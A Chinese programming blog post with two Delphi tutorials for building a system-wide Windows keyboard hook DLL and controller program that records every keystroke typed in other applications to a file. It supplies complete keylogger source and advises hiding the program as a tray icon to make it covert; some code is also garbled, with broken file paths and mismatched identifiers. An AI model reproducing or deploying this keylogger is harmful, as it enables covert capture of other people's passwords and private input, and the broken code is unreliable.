系统挂钩捕捉键盘操作

来源:不详。
在WINDOWS系统下,应用程序常常要截获其他程序的消息,并加以处理(例如跟踪键盘或鼠标的按键状况等)。现在,我们假设在前台进行正常操作,在后台利用HOOK程序为系统安装一个键盘挂钩,当有按键操作时,系统发给键盘挂钩对应的消息,而这些消息被HOOK程序截获,并加以相应的处理,这样就可以监视键盘的使用状况了。

  

  一.实现方法

  DELPHI提供了强大的可视化集成开发环境,它使得在Windows下的应用程序开发变得更加广泛,因此我们将用DELPHI编写一个动态链接库,然后在主程序中加以调用以实现系统挂钩的设置。具体步骤如下:

  * 用DELPHI创建一个使用键盘挂钩的动态链接库HK.DLL

  * 用DELPHI编写一个使用上述DLL的可执行文件HOOK.EXE

  二.实现步骤

  1.创建动态链接库

  * 选择FILE菜单中的NEW选项,选择DLL产生一个新的模板,保存为HK.DPR


 

 

CODE:

  library HK .

  uses

   SysUtils,

   Classes,

   hkproc in 'hkproc.pas'; //挂钩函数在文件中的定义

   exports //DLL的输出函数

   EnableHotKeyHook,

   DisableHotKeyHook;

  

  begin

   hNextHookProc :=0;

   Assign(f,'c:.txt');//将捕获的键值存入C盘的“code.txt”文件中

   Reset(f); //初始化“code.txt”文件

   procSaveExit := ExitProc; //DLL释放时解除挂钩

   ExitProc := @HotKeyHookExit;

  end.



  * 选择FILE菜单中的NEW选项,选择UNIT生成HKPROC.PAS

CODE:

  unit hkproc;

  interface

  uses

   Windows,Messages;

  var

   f :file of char;

  c:char;

  i :integer;

  j :integer;

   hNextHookProc : HHook;

   procSaveExit : Pointer;

  function KeyboardHookHandler(iCode : Integer;

   wParam : WPARAM;

   lParam : LPARAM) : LRESULT; stdcall ; export;

  function EnableHotKeyHook : BOOL ; export ;

  function DisableHotKeyHook : BOOL; export ;

  procedure HotKeyHookExit ; far ;

  implementation

  function KeyboardHookHandler(iCode : Integer;

   WParam : WPARAM;

   lParam : LPARAM) : LRESULT ;stdcall ; export;

  const

   _KeyPressMask = $80000000 ;

  begin

   Result :=0;

   if iCode <0 then

   begin

   Result :=CallNextHookEx(hNextHookProc,iCode,

   wParam,lParam);

   Exit;

   end;

   if((lParam and _KeyPressMask)=0) then

   begin

   i:=getkeystate($10); //返回Shift键的状态

   j:=getkeystate($14); //返回Caps Lock键的状态

   if((j and 1)=1 )then //判断CapsLock是否按下

   begin

   //判断Shift 是否按下

   if ((i and _KeyPressMask)=_KeyPressMask) then

   begin

   if (wparam<65) then //判断是字母键还是数字键

   begin

   c:=chr(wparam-16);

   end

   else

   begin

   c:= chr(wparam+32);

   end;

   end

   else

   begin

   if (wparam<65) then

   begin

   c:=chr(wparam);

   end

   else

   begin

   c:=chr(wparam);

   end;

   end;

   end

   else

   begin

   if ((i and _KeyPressMask)=_KeyPressMask) then

   begin

   if (wparam<65) then

   begin

   c:=chr(wparam-16);

   end

   else

   begin

   c:= chr(wparam);

   end;

   end

   else

   begin

   if (wparam<65) then

   begin

   c:=chr(wparam);

   end

   else

   begin

   c:=chr(wparam+32);

   end;

   end;

   end;

   seek(f,FileSize(f));

   write(f,c); //将捕获的键码存入文件

   end;

  end;

  

  function EnableHotKeyHook:BOOL;export;

  begin

  Result:=False;

  if hNextHookProc <> 0 then exit;

  hNextHookProc:=SetWindowsHookEx(WH_KEYBOARD,

  KeyboardHookHandler,Hinstance,0);

  Result:=hNextHookProc <>0 ;

  end;

  

  function DisableHotKeyHook:BOOL; export;

  begin

   if hNextHookPRoc <> 0 then

   begin

   UnhookWindowshookEx(hNextHookProc);

   hNextHookProc:=0;

   Messagebeep(0);

   Messagebeep(0);

 

 

   end;

   Result:=hNextHookPRoc=0;

  end;

  

  procedure HotKeyHookExit;

  begin

   if hNextHookProc <> 0 then DisableHotKeyHook;

   close(f); //关闭文件并自动解除挂钩

   ExitProc:=procSaveExit;

  end;

  end.



  * 将程序编译后生成一个名为HK.DLL的动态链接库文件并存入“c:”目录下。

  

   2.创建调用DLL的EXE程序HOOK.EXE

  * 选择FILE菜单中的NEW选项,在New Items窗口中,选择Application选项。在窗体Form中,加入两个按键,一个定义为挂钩,另一个定义为解脱,同时加入一个文本框以提示挂钩的设置状况。将Unit1存为“c:.pas”,其相应的代码如下:

CODE:


  

  unit hk;

  interface

  

  uses

   Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

   StdCtrls;

  

  type

   TForm1 = class(TForm)

   Button1: TButton;

   Button2: TButton;

   Edit1: TEdit;

   procedure Button1Click(Sender: TObject);

   procedure Button2Click(Sender: TObject);

  

   private

   { Private declarations }

   public

   { Public declarations }

   end;

  

  var

   Form1: TForm1;

  

  implementation

  

  {$R *.DFM}

  

  function EnableHotKeyHook : BOOL;external 'HK.dll';

  //声明HOOK . DLL中的两函数

  function DisableHotKeyHook :BOOL;external 'HK.dll';

  

  procedure TForm1.Button1Click(Sender: TObject);

  begin

   if EnableHotKeyHook() then

   begin

   edit1.text :='设置挂钩'

   end

  end;

  

  procedure TForm1.Button2Click(Sender: TObject);

  begin

   if DisableHotKeyHook() then

   begin

   edit1.Text :='挂钩解脱'

   end

  end;

  end.


* 选取Views菜单中的Project Source,将Project1存为“c:.dpr”,其代码如下:

  

CODE:

  program hook;

  uses

   Forms,

   hk in 'hk.pas' {Form1};

  {$R *.RES}

  

  begin

   Application.Initialize;

   Application.CreateForm(TForm1, Form1);

   Application.Run;

  end.


  

  * 编译生成HOOK.EXE 程序并存入“c:”目录下。预先用“记事本”在“c:”目录下建立CODE.TXT文件,运行HOOK程序并单击“挂钩”键,文本框提示“设置系统挂钩”,这时启动写字板等应用程序,所键入的字母和数字将被记录在CODE.TXT文件中。

  单击“解脱”键,文本框显示“挂钩解脱”,程序将停止对键盘的捕获。

  点击示意图

  三. 结束语

  将上述例子稍加改动,就可为系统安装其他类型的挂钩,同时为了增强程序的隐蔽性,可利用DELPHI中丰富的控件,将上述程序运行后,只需在屏幕右下部时钟处显示一个图标,就可以跟踪键盘等系统部件的工作状况了。

==================================================================

在许多系统中,出于安全或其它原因,常常要求随时对键盘进行监控,一个专

业的监控程序必须具备两点,一是实时;二是作为指示图标运行。实际应用中把利

用Hook(即钩子)技术编写的应用程序添加到Windows的任务栏的指示区中就能够

很好的达到这个目的。我在参考了API帮助文档基础上,根据在Delphi开发环境中

的具体实现分别对这两部分进行详细论述。

一、Hook(钩子)的实现:

Hook是应用程序在Microsoft Windows 消息处理过程中设置的用来监控消息流并且处理系统中尚未到达目的窗口的某一类型消息过程的机制。如果Hook过程在应用程序中实现,若应用程序不是当前窗口时,该Hook就不起作用;如果Hook在DLL中实现,程序在运行中动态调用它,它能实时对系统进行监控。根据需要,我们采用的是在DLL中实现Hook的方式。

1.新建一个导出两个函数的DLL文件,在hookproc.pas中定义了钩子具体实现过

程。代码如下:

CODE:

library keyspy;

uses

windows, messages, hookproc in 'hookproc.pas';

exports

setkeyhook,

endkeyhook;

begin

nexthookproc:=0;

procsaveexit:=exitproc;

exitproc:=@keyhookexit;

end.


2.在Hookproc.pas中实现了钩子具体过程:

CODE:

unit hookproc;

interface

uses

Windows, Messages, SysUtils, Controls, StdCtrls;

var

nexthookproc:hhook;

procsaveexit:pointer;

function keyboardhook(icode:integer;wparam:wparam;

lparam:lparam):lresult;stdcall;export;

function setkeyhook:bool;export;//加载钩子

function endkeyhook:bool;export;//卸载钩子

procedure keyhookexit;far;

const

afilename='c:.txt';//将键盘输入动作写入文件中

var

debugfile:textfile;

implementation

function keyboardhookhandler(icode:integer;wparam:wparam;

lparam:lparam):lresult;stdcall;export;

begin

if icode<0 then

begin

result:=callnexthookex(hnexthookproc,icode,wparam,lparam);

exit;

end;

assignfile(debugfile,afilename);

append(debugfile);

if getkeystate(vk_return)<0 then

begin

writeln(debugfile,'');

write(debugfile,char(wparam));

end

else

write(debugfile,char(wparam));

closefile(debugfile);

result:=0;

end;

function endkeyhook:bool;export;

begin

if nexthookproc<>0 then begin

unhookwindowshookex(nexthookproc);

nexthookproc:=0;

messagebeep(0); end;

result:=hnexthookproc=0;

end;

procedure keyhookexit;far;

begin

if nexthookproc<>0 then endkeyhook;

exitproc:=procsaveexit; end;

end.


二、Win95/98使用任务栏右方指示区来显示应用程序或工具图标对指示区图标的操作涉及了一个API函数Shell_NotifyIcon,它有两个参数,一个是指向TnotifyIconData结构的指针,另一个是要添加、删除、改动图标的标志。通过该函函数将应用程序的图标添加到指示区中,使其作为图标运行,增加专业特色。当程序起动后,用鼠标右键点击图标,则弹出一个菜单,可选择sethook或endhook。

CODE:

unit kb;

interface

uses

Windows, Messages, SysUtils, Classes,

Graphics, Controls, Forms,

Dialogs,

StdCtrls, Menus,shellapi;

const

icon_id=1;

MI_iconevent=wm_user+1;//定义一个用户消息

type

TForm1 = class(TForm)

PopupMenu1: TPopupMenu;

sethook1: TMenuItem;

endhook1: TMenuItem;

N1: TMenuItem;

About1: TMenuItem;

Close1: TMenuItem;

Gettext1: TMenuItem;

procedure FormCreate(Sender: TObject);

procedure sethook1Click(Sender: TObject);

procedure endhook1Click(Sender: TObject);

procedure FormDestroy(Sender: TObject);

procedure Close1Click(Sender: TObject);

private

{ Private declarations }

nid:tnotifyicondata;

normalicon:ticon;

public

{ Public declarations }

procedure icontray(var msg:tmessage);

message mi_iconevent;

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

function setkeyhook:bool;external 'keyspy.dll';

function endkeyhook:bool;external 'keyspy.dll';

procedure tform1.icontray(var msg:tmessage);

var

pt:tpoint;

begin

if msg.lparam=wm_lbuttondown then

sethook1click(self);

if msg.LParam=wm_rbuttondown then

begin

getcursorpos(pt);

setforegroundwindow(handle);

popupmenu1.popup(pt.x,pt.y);

end;

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

normalicon:=ticon.create;

application.title:=caption;

nid.cbsize:=sizeof(nid);

nid.wnd:=handle;

nid.uid:=icon_id;

nid.uflags:=nif_icon or nif_message or nif_tip;

nid.ucallbackmessage:=mi_iconevent;

nid.hIcon :=normalicon.handle;

strcopy(nid.sztip,pchar(caption));

nid.uFlags:=nif_message or nif_icon or nif_tip;

shell_notifyicon(nim_add,@nid);

SetWindowLong(Application.Handle,

GWL_EXSTYLE,WS_EX_TOOLWINDOW);

end;

procedure TForm1.sethook1Click(Sender: TObject);

begin

setkeyhook;

end;

procedure TForm1.endhook1Click(Sender: TObject);

begin

endkeyhook;

end;

procedure TForm1.FormDestroy(Sender: TObject);

begin

nid.uFlags :=0;

shell_notifyicon(nim_delete,@nid);

end;

procedure TForm1.Close1Click(Sender: TObject);

begin

application.terminate;

end;


该程序虽然只用了几个shellai函数,但是它涉及到了在Delphi中对DLL的引

用、钩子实现、对指示区的操作、用户定义消息的处理、文件的读写等比较重要的

内容,我相信这篇文章能对许多Delphi的初学者有所帮助。

该程序在Win98、Delphi4.0中正常运行.

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值